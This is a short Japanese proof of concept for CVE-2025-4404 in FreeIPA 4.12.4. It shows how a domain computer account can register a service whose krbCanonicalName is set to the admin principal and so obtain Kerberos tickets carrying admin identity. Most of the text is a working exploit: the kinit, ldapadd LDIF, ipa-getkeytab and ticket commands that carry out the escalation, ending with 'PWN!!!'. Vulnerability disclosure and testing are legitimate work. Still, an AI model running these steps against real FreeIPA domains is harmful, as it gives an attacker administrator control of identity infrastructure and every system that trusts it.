
CVE-2025-4404 の PoC
ドメインコンピュータアカウント (host/pc1.[email protected]) を持っている場合、デフォルトでサービスを追加できます。そして、krbPrincipalName と krbCanonicalName を設定できます。デフォルトでは、FreeIPA 4.12.4 の管理者アカウントでは krbCanonicalName 属性値が欠落しています。krbPrincipalName の値で Kerberos チケットを要求できますが、チケットには krbCanonicalName の値が含まれます。
さあ、始めましょう
まず、コンピュータアカウントに代わってチケットを要求します:
$ kinit host/[email protected] -k -t /etc/krb5.keytab
LDAP サービスアカウントを追加します:
$ ldapadd -H ldap://dc1.test.local
dn: krbprincipalname=test/[email protected],cn=services,cn=accounts,dc=test,dc=local
ipaKrbPrincipalAlias: test/[email protected]
krbPrincipalName: test/[email protected]
objectClass: ipaKrbPrincipal
objectClass: ipaObject
objectClass: ipaService
objectClass: krbPrincipal
objectClass: krbPrincipalAux
objectClass: top
krbCanonicalName: [email protected]
managedBy: fqdn=pc1.test.local,cn=computers,cn=accounts,dc=test,dc=local
$ ipa-getkeytab -p test/[email protected] -k ./test.keytab --mech=GSSAPI
$ kdestroy -A
$ kinit --no-request-pac -k -t ./test.keytab test/[email protected]PWN!!!
チケットは次のように確認できます:
ldapwhoami -H ldap://dc1.test.local